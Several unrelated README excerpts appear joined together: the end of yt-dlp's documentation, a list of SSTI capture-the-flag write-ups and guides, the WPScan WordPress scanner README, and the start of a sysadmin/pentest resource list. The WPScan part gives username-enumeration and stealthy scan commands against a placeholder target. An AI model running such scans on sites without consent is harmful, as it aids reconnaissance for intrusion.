NOTE: This is just an example and does not handle all cases """
# formats are already sorted worst to best
formats = ctx.get('formats')[::-1]
# acodec='none' means there is no audio
best_video = next(f for f in formats
if f['vcodec'] != 'none' and f['acodec'] == 'none')
# find compatible audio extension
audio_ext = {'mp4': 'm4a', 'webm': 'webm'}[best_video['ext']]
# vcodec='none' means there is no video
best_audio = next(f for f in formats if (
f['acodec'] != 'none' and f['vcodec'] == 'none' and f['ext'] == audio_ext))
# These are the minimum required fields for a merged format
yield {
'format_id': f'{best_video["format_id"]}+{best_audio["format_id"]}',
'ext': best_video['ext'],
'requested_formats': [best_video, best_audio],
# Must be + separated list of protocols
'protocol': f'{best_video["protocol"]}+{best_audio["protocol"]}'
}
ydl_opts = {
'format': format_selector,
}
with yt_dlp.YoutubeDL(ydl_opts) as ydl:
ydl.download(URLS)
```
<!-- MANPAGE: MOVE "NEW FEATURES" SECTION HERE -->
# DEPRECATED OPTIONS
These are all the deprecated options and the current alternative to achieve the same effect
#### Almost redundant options
While these options are almost the same as their new counterparts, there are some differences that prevents them being redundant
-j, --dump-json --print "%()j"
-F, --list-formats --print formats_table
--list-thumbnails --print thumbnails_table --print playlist:thumbnails_table
--list-subs --print automatic_captions_table --print subtitles_table
#### Redundant options
While these options are redundant, they are still expected to be used due to their ease of use
--get-description --print description
--get-duration --print duration_string
--get-filename --print filename
--get-format --print format
--get-id --print id
--get-thumbnail --print thumbnail
-e, --get-title --print title
-g, --get-url --print urls
--match-title REGEX --match-filter "title ~= (?i)REGEX"
--reject-title REGEX --match-filter "title !~= (?i)REGEX"
--min-views COUNT --match-filter "view_count >=? COUNT"
--max-views COUNT --match-filter "view_count <=? COUNT"
--break-on-reject Use --break-match-filter
--user-agent UA --add-header "User-Agent:UA"
--referer URL --add-header "Referer:URL"
--playlist-start NUMBER -I NUMBER:
--playlist-end NUMBER -I :NUMBER
--playlist-reverse -I ::-1
--no-playlist-reverse Default
--no-colors --color no_color
#### Not recommended
While these options still work, their use is not recommended since there are other alternatives to achieve the same
--force-generic-extractor --ies generic,default
--exec-before-download CMD --exec "before_dl:CMD"
--no-exec-before-download --no-exec
--all-formats -f all
--all-subs --sub-langs all --write-subs
--print-json -j --no-simulate
--autonumber-size NUMBER Use string formatting, e.g. %(autonumber)03d
--autonumber-start NUMBER Use internal field formatting like %(autonumber+NUMBER)s
--id -o "%(id)s.%(ext)s"
--metadata-from-title FORMAT --parse-metadata "%(title)s:FORMAT"
--hls-prefer-native --downloader "m3u8:native"
--hls-prefer-ffmpeg --downloader "m3u8:ffmpeg"
--list-formats-old --compat-options list-formats (Alias: --no-list-formats-as-table)
--list-formats-as-table --compat-options -list-formats [Default] (Alias: --no-list-formats-old)
--youtube-skip-dash-manifest --extractor-args "youtube:skip=dash" (Alias: --no-youtube-include-dash-manifest)
--youtube-skip-hls-manifest --extractor-args "youtube:skip=hls" (Alias: --no-youtube-include-hls-manifest)
--youtube-include-dash-manifest Default (Alias: --no-youtube-skip-dash-manifest)
--youtube-include-hls-manifest Default (Alias: --no-youtube-skip-hls-manifest)
--geo-bypass --xff "default"
--no-geo-bypass --xff "never"
--geo-bypass-country CODE --xff CODE
--geo-bypass-ip-block IP_BLOCK --xff IP_BLOCK
#### Developer options
These options are not intended to be used by the end-user
--test Download only part of video for testing extractors
--load-pages Load pages dumped by --write-pages
--youtube-print-sig-code For testing youtube signatures
--allow-unplayable-formats List unplayable formats also
--no-allow-unplayable-formats Default
#### Old aliases
These are aliases that are no longer documented for various reasons
--avconv-location --ffmpeg-location
--clean-infojson --clean-info-json
--cn-verification-proxy URL --geo-verification-proxy URL
--dump-headers --print-traffic
--dump-intermediate-pages --dump-pages
--force-write-download-archive --force-write-archive
--load-info --load-info-json
--no-clean-infojson --no-clean-info-json
--no-split-tracks --no-split-chapters
--no-write-srt --no-write-subs
--prefer-unsecure --prefer-insecure
--rate-limit RATE --limit-rate RATE
--split-tracks --split-chapters
--srt-lang LANGS --sub-langs LANGS
--trim-file-names LENGTH --trim-filenames LENGTH
--write-srt --write-subs
--yes-overwrites --force-overwrites
#### Sponskrub Options
Support for [SponSkrub](https://github.com/faissaloo/SponSkrub) has been deprecated in favor of the `--sponsorblock` options
--sponskrub --sponsorblock-mark all
--no-sponskrub --no-sponsorblock
--sponskrub-cut --sponsorblock-remove all
--no-sponskrub-cut --sponsorblock-remove -all
--sponskrub-force Not applicable
--no-sponskrub-force Not applicable
--sponskrub-location Not applicable
--sponskrub-args Not applicable
#### No longer supported
These options may no longer work as intended
--prefer-avconv avconv is not officially supported by yt-dlp (Alias: --no-prefer-ffmpeg)
--prefer-ffmpeg Default (Alias: --no-prefer-avconv)
-C, --call-home Not implemented
--no-call-home Default
--include-ads No longer supported
--no-include-ads Default
--write-annotations No supported site has annotations now
--no-write-annotations Default
--compat-options seperate-video-versions No longer needed
#### Removed
These options were deprecated since 2014 and have now been entirely removed
-A, --auto-number -o "%(autonumber)s-%(id)s.%(ext)s"
-t, -l, --title, --literal -o "%(title)s-%(id)s.%(ext)s"
# CONTRIBUTING
See [CONTRIBUTING.md](CONTRIBUTING.md#contributing-to-yt-dlp) for instructions on [Opening an Issue](CONTRIBUTING.md#opening-an-issue) and [Contributing code to the project](CONTRIBUTING.md#developer-instructions)
# WIKI
See the [Wiki](https://github.com/yt-dlp/yt-dlp/wiki) for more information
|
# SSTI
## What is SSTI ?
- Server-side template injection is when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side.
<a href="https://portswigger.net/web-security/server-side-template-injection">Portswigger Detailed explanation</a>
<details>
<summary>CTF-Writeups</summary>
## CTF-Writeups
- [2017](#2017)
- [2018](#2018)
- [2019](#2019)
- [2020](#2020)
- [2021](#2021)
- [2022](#2022)
### 2017
- <a href="https://ctf-writeups.ru/2k17/asis-ctf-finals-2017/golem-is-stupid/">Golem is stupid, Asis2017</a>
- [ktrio3 : Shia Labeouf-off!, CSAW Quals](https://ctftime.org/writeup/7580)
### 2018
- <a href="https://medium.com/bugbountywriteup/angstromctf-2018-web-writeups-part-2-6c1ee586aa64">Abdelkader Belcaid : AngstromCTF 2018, Madlibs</a>
- <a href="https://medium.com/bugbountywriteup/tokyowesterns-ctf-4th-2018-writeup-part-3-1c8510dfad3f">Abdelkader Belcaid
: Tokyowesterns 2018,Shrine</a>
- <a href="https://ctftime.org/writeup/11014">kazkiti : HackIT CTF 2018,Believers Case</a>
- <a href="https://s0cket7.com/picoctf-web/">s0cket7 : picoctf _flask cards_ </a>
- [kazkiti : TorPy,InCTF](https://ctftime.org/writeup/11519)
- [flawwn : TorPy,InCTF](https://github.com/flawwan/CTF-Writeups/blob/master/inCTF2018/torpy.md)
- [HaboobTeam : SimpleVN](https://github.com/HaboobTeam/BCTF-2018-write-up/raw/master/WEB/SimpleVN.pdf)
### 2019
- <a href="https://medium.com/bugbountywriteup/x-mas-2019-ctf-write-up-mercenary-hat-factory-ssti-53e82d58829e">Slamat : X-MAS 2019 CTF write-up (Mercenary Hat Factory) SSTI</a>
- <a href="https://hell38vn.wordpress.com/2019/03/05/tamu-ctf2019-science-web/">hell38vn : tamuctf2019 Science</a>
- <a href="https://nytr0gen.github.io/writeups/ctf/2019/09/09/defcamp-ctf-quals-2019.html">nytrogen : defcamp quals 2019,Movie Night</a>
- <a href="https://redpwn.net/writeups/picoctf2019/empire2/">redpwn : picoctf _empire2_</a>
- [Terjanq : Scam Generator, JUSTCTF ](https://hackmd.io/@terjanq/justctf_writeups#Scam-generator-web-2-solves-unfixed-amp-1-solve-fixed)
- [Dvd848 : Science,TamuCTF](https://github.com/Dvd848/CTFs/blob/master/2019_TAMUctf/Science.md)
- [noobintheshell : Science, TamuCTF](https://noobintheshell.medium.com/tamuctf2019-writeups-1-360f53008f7a#708a)
- [kazkiti : repeeaaaat, EncryptCTF](https://ctftime.org/writeup/14342)
### 2020
- <a href="https://github.com/team0se7en/CTF-Writeups/blob/master/csictf2020/web/The_Usual_Suspects/README.md">team0se7en : csictf2020, Usual suspects</a>
- [ahmed : the usual suspects, csictf](https://ahmed-belkahla.me/post/csictf2020/#the-usual-suspects-499pts-32-solves-)
- <a href="https://hackerone.com/reports/895778">nirvana_msu : [H1-2006] CTF Writeup</a>
- <a href="https://noxtal.com/writeups/2020/08/02/hacktivitycon-template-shack/">noxtal : hacktivitycon,template-shack</a>
- [bootplug : http for pros,defcamp](https://github.com/bootplug/writeups/blob/master/2020/defcamp/writeups.md#http-for-pros)
- [st98 : Notes,hexion](https://st98.github.io/diary/posts/2020-04-13-hexion-ctf-2020-online.html#web-881-notes-37-solves)
- [Arashparsa : SimpleFlask, GACTF](https://www.arashparsa.com/gactf/)
- [SamXML : Congenial Octo Couscous, TJCTF](https://drive.google.com/file/d/1SMHzyP9jwN3vslfYU2kejVU-crYfnD8P/view)
- [Kazkiti : Notepad, Zer0pts](https://ctftime.org/writeup/18597)
- [posix : Notepad, Zer0pts](https://blog.p6.is/zer0pts-CTF-2020/)
- [hamayanhamayan : Notepad, Zero0pts](https://blog.hamayanhamayan.com/entry/2020/03/09/131651)
- [v4681d : MicroService, SUSEC](https://ctftime.org/writeup/18951)
- [Ox12A0F : Memehub, Bsides Algiers quals](https://ctftime.org/writeup/25435)
- [justjosef : Faraday, EkoParty](https://ctftime.org/writeup/23840)
- [spotless : Newsletter, VolgaCTF quals](https://spotless.tech/volgactf-2020-qualifier-newsletter.html)
### 2021
- [guyintheshell : maze,0x41414141](https://www.youtube.com/watch?v=YA8wcG1GL8A)
- [luftenshjaltar : maze,0x41414141](https://luftenshjaltar.info/writeups/0x41414141ctf/web/maze/)
- [Sqrtrev : DMM,DarkCON](https://vuln.live/blog/12)
- [beerpwn : Localization is hard(thymeleaf SSTI),AerpCTF](https://beerpwn.github.io/ctf/2021/aero_CTF/web/Localization_is_hard/)
- [n4sm : Localization is hard,AeroCTF](https://ret2school.github.io/post/localization_is_hard_wu/)
- [isopach : Injection, DCTF](https://isopach.dev/DCTF-2021/#injection)
- [luc : Lotion,Foobar](https://szymanski.ninja/en/ctfwriteups/2021/foobar/lotion/)
- [xxonorg : Injection, DCTF](https://github.com/xxonorg/dCTF2021_Writeup/blob/main/Injection.md)
- [manhnv : Starfleet, CyberApocalypse](https://manhnv.com/2021/04/cyber-apocalypse-2021-web-starfleet-writeup/)
- [ryan-cd : ninja name generator, InterIUT](https://github.com/ryan-cd/ctf/tree/master/2020/interIUT/ninja_name_generator)
- [ianjelot : AgentTester, Nahamcon](https://thegoonies.github.io/2021/03/15/nahamconctf-2021-agent-tester-v2/)
### 2022
- [hongwei : gotm, LINE CTF](https://hong5489.github.io/2022-03-27-linectf2022/#gotm)
- [r4f705 : 1 truth,2 lies. 1337UP LIVE CTF](https://ctftime.org/writeup/32473)
- [LazyTitan : Naughty or Nice,HTB CyberSanta](https://github.com/LazyTitan33/CTF-Writeups/blob/main/HTB%20-%20Cyber%20Santa%20is%20Coming%20to%20Town%202021/Web/Naughty%20or%20Nice.md)
- [Kashmir54 : Hey-Buddy, VishwaCTF](https://kashmir54.github.io/ctfs/VishwaCTF2022/#hey-buddy)
- [x-c-3 : Mr 0, PatriotCTF](https://x-c-3.github.io/posts/patriotctf-2022/#mr-o)
- [SamXML : Deafcon, Nahamcon](https://ctftime.org/writeup/33440)
</details>
<details>
<summary>other interesting reads</summary>
### other interesting reads
- <a href="https://we45.com/blog/server-side-template-injection-a-crash-course/">we45 : SSTI Crash Course</a>
- <a href="https://portswigger.net/research/server-side-template-injection">Portswigger : SSTI Research</a>
- <a href="https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection">Hacktricks : SSTI</a>
- <a href="https://musyokaian.medium.com/server-side-template-injection-ssti-afa201f2afbb">Musyoka Ian : SSTI explanation</a>
- <a href="https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/">onsecurity SSTI with jinja2</a>
- <a href="https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee">SSTI in flask/jinja2</a>
- <a href="https://blog.cobalt.io/a-pentesters-guide-to-server-side-template-injection-ssti-c5e3998eae68">cobalt : pentesters guide to SSTI</a>
- <a href="https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti">SSTI : cheatsheet</a>
- <a href="https://0x1.gitlab.io/web-security/Server-Side-Template-Injection/">0x1 : SSTI</a>
- <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2">PayloadAllTheThings : SSTI</a>
- [Jinja2 SSTI Filter bypass](https://medium.com/@nyomanpradipta120/jinja2-ssti-filter-bypasses-a8d3eb7b000f)
- [0day : JInja2 template injection filter bypasses](https://0day.work/jinja2-template-injection-filter-bypasses/)
- [acunetix : exploiting ssti in thymeleaf](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/)
- [veracode : Spring-view manipulation vulnerability](https://www.veracode.com/blog/secure-development/spring-view-manipulation-vulnerability)
- [Hacktricks : thymeleaf java SSTI](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#thymeleaf-java)
- [posix :Python-SSTI-exploitable-classes ](https://blog.p6.is/Python-SSTI-exploitable-classes/)
</details>
<details>
<summary>Youtube Videos</summary>
### Youtube Videos
- <a href="https://www.youtube.com/watch?v=SN6EVIG4c-0">Pwnfunction : SSTI Explained</a>
- <a href="https://www.youtube.com/watch?v=WNo0GJl0Keo">Sam : SSTI</a>
- <a href="https://www.youtube.com/watch?v=jRiz8Yg9vbA">Cobalt : SSTI all-in-one</a>
</details>
|
<p align="center">
<a href="https://wpscan.org/">
<img src="https://raw.githubusercontent.com/wpscanteam/wpscan/gh-pages/images/wpscan_logo.png" alt="WPScan logo">
</a>
</p>
<h3 align="center">WPScan</h3>
<p align="center">
WordPress Vulnerability Scanner
<br>
<br>
<a href="https://wpscan.org/" title="homepage" target="_blank">Homepage</a> - <a href="https://wpscan.io/" title="wpscan.io" target="_blank">WPScan.io</a> - <a href="https://wpvulndb.com/" title="vulnerability database" target="_blank">Vulnerability Database</a> - <a href="https://wordpress.org/plugins/wpscan/" title="wordpress plugin" target="_blank">WordPress Plugin</a>
</p>
<p align="center">
<a href="https://badge.fury.io/rb/wpscan" target="_blank"><img src="https://badge.fury.io/rb/wpscan.svg"></a>
<a href="https://github.com/wpscanteam/wpscan/actions?query=workflow%3ABuild" target="_blank"><img src="https://github.com/wpscanteam/wpscan/workflows/Build/badge.svg"></a>
<a href="https://codeclimate.com/github/wpscanteam/wpscan" target="_blank"><img src="https://codeclimate.com/github/wpscanteam/wpscan/badges/gpa.svg"></a>
</p>
# INSTALL
## Prerequisites
- (Optional but highly recommended: [RVM](https://rvm.io/rvm/install))
- Ruby >= 2.3 - Recommended: latest
- Ruby 2.5.0 to 2.5.3 can cause an 'undefined symbol: rmpd_util_str_to_d' error in some systems, see [#1283](https://github.com/wpscanteam/wpscan/issues/1283)
- Curl >= 7.21 - Recommended: latest
- The 7.29 has a segfault
- RubyGems - Recommended: latest
- Nokogiri might require packages to be installed via your package manager depending on your OS, see https://nokogiri.org/tutorials/installing_nokogiri.html
### From RubyGems (Recommended)
```shell
gem install wpscan
```
On MacOSX, if a ```Gem::FilePermissionError``` is raised due to the Apple's System Integrity Protection (SIP), either install RVM and install wpscan again, or run ```sudo gem install -n /usr/local/bin wpscan``` (see [#1286](https://github.com/wpscanteam/wpscan/issues/1286))
### From sources (NOT Recommended)
Prerequisites: Git
```shell
git clone https://github.com/wpscanteam/wpscan
cd wpscan/
bundle install && rake install
```
# Updating
You can update the local database by using ```wpscan --update```
Updating WPScan itself is either done via ```gem update wpscan``` or the packages manager (this is quite important for distributions such as in Kali Linux: ```apt-get update && apt-get upgrade```) depending how WPScan was (pre)installed
# Docker
Pull the repo with ```docker pull wpscanteam/wpscan```
Enumerating usernames
```shell
docker run -it --rm wpscanteam/wpscan --url https://target.tld/ --enumerate u
```
Enumerating a range of usernames
```shell
docker run -it --rm wpscanteam/wpscan --url https://target.tld/ --enumerate u1-100
```
** replace u1-100 with a range of your choice.
# Usage
```wpscan --url blog.tld``` This will scan the blog using default options with a good compromise between speed and accuracy. For example, the plugins will be checked passively but their version with a mixed detection mode (passively + aggressively). Potential config backup files will also be checked, along with other interesting findings.
If a more stealthy approach is required, then ```wpscan --stealthy --url blog.tld``` can be used.
As a result, when using the ```--enumerate``` option, don't forget to set the ```--plugins-detection``` accordingly, as its default is 'passive'.
For more options, open a terminal and type ```wpscan --help``` (if you built wpscan from the source, you should type the command outside of the git repo)
The DB is located at ~/.wpscan/db
## Vulnerability Database
The WPScan CLI tool uses the [WPVulnDB API](https://wpvulndb.com/api) to retrieve WordPress vulnerability data in real time. For WPScan to retrieve the vulnerability data an API token must be supplied via the `--api-token` option, or via a configuration file, as discussed below. An API token can be obtained by registering an account on [WPVulnDB](https://wpvulndb.com/users/sign_up). Up to 50 API requests per day are given free of charge to registered users. Once the 50 API requests are exhausted, WPScan will continue to work as normal but without any vulnerability data. Users can upgrade to paid API usage to increase their API limits within their user profile on [WPVulnDB](https://wpvulndb.com/).
## Load CLI options from file/s
WPScan can load all options (including the --url) from configuration files, the following locations are checked (order: first to last):
- ~/.wpscan/scan.json
- ~/.wpscan/scan.yml
- pwd/.wpscan/scan.json
- pwd/.wpscan/scan.yml
If those files exist, options from the `cli_options` key will be loaded and overridden if found twice.
e.g:
~/.wpscan/scan.yml:
```yml
cli_options:
proxy: 'http://127.0.0.1:8080'
verbose: true
```
pwd/.wpscan/scan.yml:
```yml
cli_options:
proxy: 'socks5://127.0.0.1:9090'
url: 'http://target.tld'
```
Running ```wpscan``` in the current directory (pwd), is the same as ```wpscan -v --proxy socks5://127.0.0.1:9090 --url http://target.tld```
## Save API Token in a file
The feature mentioned above is useful to keep the API Token in a config file and not have to supply it via the CLI each time. To do so, create the ~/.wpscan/scan.yml file containing the below:
```yml
cli_options:
api_token: YOUR_API_TOKEN
```
## Load APi Token From ENV
The API Token will be automatically loaded from the ENV variable `WPSCAN_API_TOKEN` if present. If the `--api-token` CLI option is also provided, the value from the CLI will be used.
## Enumerating usernames
```shell
wpscan --url https://target.tld/ --enumerate u
```
Enumerating a range of usernames
```shell
wpscan --url https://target.tld/ --enumerate u1-100
```
** replace u1-100 with a range of your choice.
# LICENSE
## WPScan Public Source License
The WPScan software (henceforth referred to simply as "WPScan") is dual-licensed - Copyright 2011-2019 WPScan Team.
Cases that include commercialization of WPScan require a commercial, non-free license. Otherwise, WPScan can be used without charge under the terms set out below.
### 1. Definitions
1.1 "License" means this document.
1.2 "Contributor" means each individual or legal entity that creates, contributes to the creation of, or owns WPScan.
1.3 "WPScan Team" means WPScan’s core developers.
### 2. Commercialization
A commercial use is one intended for commercial advantage or monetary compensation.
Example cases of commercialization are:
- Using WPScan to provide commercial managed/Software-as-a-Service services.
- Distributing WPScan as a commercial product or as part of one.
- Using WPScan as a value added service/product.
Example cases which do not require a commercial license, and thus fall under the terms set out below, include (but are not limited to):
- Penetration testers (or penetration testing organizations) using WPScan as part of their assessment toolkit.
- Penetration Testing Linux Distributions including but not limited to Kali Linux, SamuraiWTF, BackBox Linux.
- Using WPScan to test your own systems.
- Any non-commercial use of WPScan.
If you need to purchase a commercial license or are unsure whether you need to purchase a commercial license contact us - [email protected].
Free-use Terms and Conditions;
### 3. Redistribution
Redistribution is permitted under the following conditions:
- Unmodified License is provided with WPScan.
- Unmodified Copyright notices are provided with WPScan.
- Does not conflict with the commercialization clause.
### 4. Copying
Copying is permitted so long as it does not conflict with the Redistribution clause.
### 5. Modification
Modification is permitted so long as it does not conflict with the Redistribution clause.
### 6. Contributions
Any Contributions assume the Contributor grants the WPScan Team the unlimited, non-exclusive right to reuse, modify and relicense the Contributor's content.
### 7. Support
WPScan is provided under an AS-IS basis and without any support, updates or maintenance. Support, updates and maintenance may be given according to the sole discretion of the WPScan Team.
### 8. Disclaimer of Warranty
WPScan is provided under this License on an “as is” basis, without warranty of any kind, either expressed, implied, or statutory, including, without limitation, warranties that the WPScan is free of defects, merchantable, fit for a particular purpose or non-infringing.
### 9. Limitation of Liability
To the extent permitted under Law, WPScan is provided under an AS-IS basis. The WPScan Team shall never, and without any limit, be liable for any damage, cost, expense or any other payment incurred as a result of WPScan's actions, failure, bugs and/or any other interaction between WPScan and end-equipment, computers, other software or any 3rd party, end-equipment, computer or services.
### 10. Disclaimer
Running WPScan against websites without prior mutual consent may be illegal in your country. The WPScan Team accept no liability and are not responsible for any misuse or damage caused by WPScan.
### 11. Trademark
The "wpscan" term is a registered trademark. This License does not grant the use of the "wpscan" trademark or the use of the WPScan logo.
|
<p align="center">
<a href="https://github.com/trimstray/the-book-of-secret-knowledge">
<img src="https://github.com/trimstray/the-book-of-secret-knowledge/blob/master/static/img/the-book-of-secret-knowledge-preview.png" alt="Master">
</a>
</p>
<p align="center">"<i>Knowledge is powerful, be careful how you use it!</i>"</p>
<h4 align="center">A collection of inspiring lists, manuals, cheatsheets, blogs, hacks, one-liners, cli/web tools, and more.</h4>
<br>
<p align="center">
<a href="https://github.com/trimstray/the-book-of-secret-knowledge/pulls">
<img src="https://img.shields.io/badge/PRs-welcome-brightgreen.svg?longCache=true" alt="Pull Requests">
</a>
<a href="LICENSE.md">
<img src="https://img.shields.io/badge/License-MIT-lightgrey.svg?longCache=true" alt="MIT License">
</a>
</p>
<p align="center">
<a href="https://twitter.com/trimstray" target="_blank">
<img src="https://img.shields.io/twitter/follow/trimstray.svg?logo=twitter">
</a>
</p>
<div align="center">
<sub>Created by
<a href="https://twitter.com/trimstray">trimstray</a> and
<a href="https://github.com/trimstray/the-book-of-secret-knowledge/graphs/contributors">contributors</a>
</div>
<br>
****
## :notebook_with_decorative_cover: What is it?
This repository is a collection of various materials and tools that I use every day in my work. It contains a lot of useful information gathered in one piece. It is an invaluable source of knowledge for me that I often look back on.
## :restroom: For whom?
For everyone, really. Here everyone can find their favourite tastes. But to be perfectly honest, it is aimed towards System and Network administrators, DevOps, Pentesters, and Security Researchers.
## :information_source: Contributing
If you find something which doesn't make sense, or something doesn't seem right, please make a pull request and please add valid and well-reasoned explanations about your changes or comments.
A few simple rules for this project:
- inviting and clear
- not tiring
- useful
These below rules may be better:
- easy to contribute to (Markdown + HTML ...)
- easy to find (simple TOC, maybe it's worth extending them?)
Url marked **\*** is temporary unavailable. Please don't delete it without confirming that it has permanently expired.
Before adding a pull request, please see the **[contributing guidelines](.github/CONTRIBUTING.md)**. You should also remember about this:
```diff
+ This repository is not meant to contain everything but only good quality stuff.
```
All **suggestions/PR** are welcome!
### Code Contributors
This project exists thanks to all the people who contribute.
<a href="https://github.com/trimstray/the-book-of-secret-knowledge/graphs/contributors"><img src="https://opencollective.com/the-book-of-secret-knowledge/contributors.svg?width=890&button=false"></a>
### Financial Contributors
<p align="left">
<a href="https://opencollective.com/the-book-of-secret-knowledge" alt="Financial Contributors on Open Collective">
<img src="https://img.shields.io/opencollective/backers/the-book-of-secret-knowledge?style=for-the-badge&color=FF4500&labelColor=A9A9A9"></a>
</a>
<a href="https://opencollective.com/the-book-of-secret-knowledge" alt="Financial Contributors on Open Collective">
<img src="https://img.shields.io/opencollective/sponsors/the-book-of-secret-knowledge?style=for-the-badge&color=FF4500&labelColor=A9A9A9"></a>
</a>
</p>
## :gift_heart: Support
If this project is useful and important for you or if you really like _the-book-of-secret-knowledge_, you can bring **positive energy** by giving some **good words** or **supporting this project**. Thank you!
## :newspaper: RSS Feed & Updates
GitHub exposes an [RSS/Atom](https://github.com/trimstray/the-book-of-secret-knowledge/commits.atom) feed of the commits, which may also be useful if you want to be kept informed about all changes.
## :ballot_box_with_check: ToDo
- [ ] Add new stuff...
- [ ] Add useful shell functions
- [ ] Add one-liners for collection tools (eg. CLI Tools)
- [ ] Sort order in lists
New items are also added on a regular basis.
## :anger: Table of Contents
Only main chapters:
- **[CLI Tools](#cli-tools-toc)**
- **[GUI Tools](#gui-tools-toc)**
- **[Web Tools](#web-tools-toc)**
- **[Systems/Services](#systemsservices-toc)**
- **[Networks](#networks-toc)**
- **[Containers/Orchestration](#containersorchestration-toc)**
- **[Manuals/Howtos/Tutorials](#manualshowtostutorials-toc)**
- **[Inspiring Lists](#inspiring-lists-toc)**
- **[Blogs/Podcasts/Videos](#blogspodcastsvideos-toc)**
- **[Hacking/Penetration Testing](#hackingpenetration-testing-toc)**
- **[Your daily knowledge and news](#your-daily-knowledge-and-news-toc)**
- **[Other Cheat Sheets](#other-cheat-sheets-toc)**
- **[One-liners](#one-liners-toc)**
- **[Shell functions](#shell-functions-toc)**
## :trident: The Book of Secret Knowledge (Chapters)
#### CLI Tools [<sup>[TOC]</sup>](#anger-table-of-contents)
##### :black_small_square: Shells
<p>
:small_orange_diamond: <a href="https://www.gnu.org/software/bash/"><b>GNU Bash</b></a> - is an sh-compatible shell that incorporates useful features from the Korn shell and C shell.<br>
:small_orange_diamond: <a href="https://www.zsh.org/"><b>Zsh</b></a> - is a shell designed for interactive use, although it is also a powerful scripting language.<br>
:small_orange_diamond: <a href="https://tcl-lang.org/"><b>tclsh</b></a> - is a very powerful cross-platform shell, suitable for a huge range of uses.<br>
:small_orange_diamond: <a href="https://github.com/Bash-it/bash-it"><b>bash-it</b></a> - is a framework for using, developing and maintaining shell scripts and custom commands.<br>
:small_orange_diamond: <a href="https://ohmyz.sh/"><b>Oh My ZSH!</b></a> - is the best framework for managing your Zsh configuration.<br>
:small_orange_diamond: <a href="https://github.com/oh-my-fish/oh-my-fish"><b>Oh My Fish</b></a> - the Fishshell framework.<br>
:small_orange_diamond: <a href="https://github.com/starship/starship"><b>Starship</b></a> - the cross-shell prompt written in Rust.<br>
:small_orange_diamond: <a href="https://github.com/romkatv/powerlevel10k"><b>powerlevel10k</b></a> - is a fast reimplementation of Powerlevel9k ZSH theme.<br>
</p>
##### :black_small_square: Shell plugins
<p>
:small_orange_diamond: <a href="https://github.com/rupa/z"><b>z</b></a> - tracks the folder you use the most and allow you to jump, without having to type the whole path.<br>
:small_orange_diamond: <a href="https://github.com/junegunn/fzf"><b>fzf</b></a> - is a general-purpose command-line fuzzy finder.<br>
:small_orange_diamond: <a href="https://github.com/zsh-users/zsh-autosuggestions"><b>zsh-autosuggestions</b></a> - Fish-like autosuggestions for Zsh.<br>
:small_orange_diamond: <a href="https://github.com/zsh-users/zsh-syntax-highlighting"><b>zsh-syntax-highlighting</b></a> - Fish shell like syntax highlighting for Zsh.<br>
:small_orange_diamond: <a href="https://github.com/unixorn/awesome-zsh-plugins"><b>Awesome ZSH Plugins</b></a> - A list of frameworks, plugins, themes and tutorials for ZSH.<br>
</p>
##### :black_small_square: Managers
<p>
:small_orange_diamond: <a href="https://midnight-commander.org/"><b>Midnight Commander</b></a> - is a visual file manager, licensed under GNU General Public License.<br>
:small_orange_diamond: <a href="https://github.com/ranger/ranger"><b>ranger</b></a> - is a VIM-inspired filemanager for the console.<br>
:small_orange_diamond: <a href="https://github.com/jarun/nnn"><b>nnn</b></a> - is a tiny, lightning fast, feature-packed file manager.<br>
:small_orange_diamond: <a href="https://www.gnu.org/software/screen/"><b>screen</b></a> - is a full-screen window manager that multiplexes a physical terminal.<br>
:small_orange_diamond: <a href="https://github.com/tmux/tmux/wiki"><b>tmux</b></a> - is a terminal multiplexer, lets you switch easily between several programs in one terminal.<br>
:small_orange_diamond: <a href="https://github.com/peikk0/tmux-cssh"><b>tmux-cssh</b></a> - is a tool to set comfortable and easy to use functionality, clustering and synchronizing tmux-sessions.<br>
</p>
##### :black_small_square: Text editors
<p>
:small_orange_diamond: <a href="http://ex-vi.sourceforge.net/"><b>vi</b></a> - is one of the most common text editors on Unix.<br>
:small_orange_diamond: <a href="https://www.vim.org/"><b>vim</b></a> - is a highly configurable text editor.<br>
:small_orange_diamond: <a href="https://www.gnu.org/software/emacs/"><b>emacs</b></a> - is an extensible, customizable, free/libre text editor, and more.<br>
:small_orange_diamond: <a href="https://github.com/zyedidia/micro"><b>micro</b></a> - is a modern and intuitive terminal-based text editor.<br>
:small_orange_diamond: <a href="https://neovim.io/"><b>neovim</b></a> - is a free open source, powerful, extensible and usable code editor.<br>
:small_orange_diamond: <a href="https://www.spacemacs.org/"><b>spacemacs</b></a> - a community-driven Emacs distribution.<br>
:small_orange_diamond: <a href="https://spacevim.org/"><b>spacevim</b></a> - a community-driven vim distribution.<br>
</p>
##### :black_small_square: Files and directories
<p>
:small_orange_diamond: <a href="https://github.com/sharkdp/fd"><b>fd</b></a> - is a simple, fast and user-friendly alternative to find.<br>
:small_orange_diamond: <a href="https://dev.yorhel.nl/ncdu"><b>ncdu</b></a> - is an easy to use, fast disk usage analyzer.<br>
</p>
##### :black_small_square: Network
<p>
:small_orange_diamond: <a href="https://www.putty.org/"><b>PuTTY</b></a> - is an SSH and telnet client, developed originally by Simon Tatham.<br>
:small_orange_diamond: <a href="https://mosh.org/"><b>Mosh</b></a> - is a SSH wrapper designed to keep a SSH session alive over a volatile connection.<br>
:small_orange_diamond: <a href="https://eternalterminal.dev/"><b>Eternal Terminal</b></a> - enables mouse-scrolling and tmux commands inside the SSH session.<br>
:small_orange_diamond: <a href="https://nmap.org/"><b>nmap</b></a> - is a free and open source (license) utility for network discovery and security auditing.<br>
:small_orange_diamond: <a href="https://github.com/zmap/zmap"><b>zmap</b></a> - is a fast single packet network scanner designed for Internet-wide network surveys.<br>
:small_orange_diamond: <a href="https://github.com/RustScan/RustScan"><b>Rust Scan</b></a> - to find all open ports faster than Nmap.<br>
:small_orange_diamond: <a href="https://github.com/robertdavidgraham/masscan"><b>masscan</b></a> - is the fastest Internet port scanner, spews SYN packets asynchronously.<br>
:small_orange_diamond: <a href="https://github.com/gvb84/pbscan"><b>pbscan</b></a> - is a faster and more efficient stateless SYN scanner and banner grabber.<br>
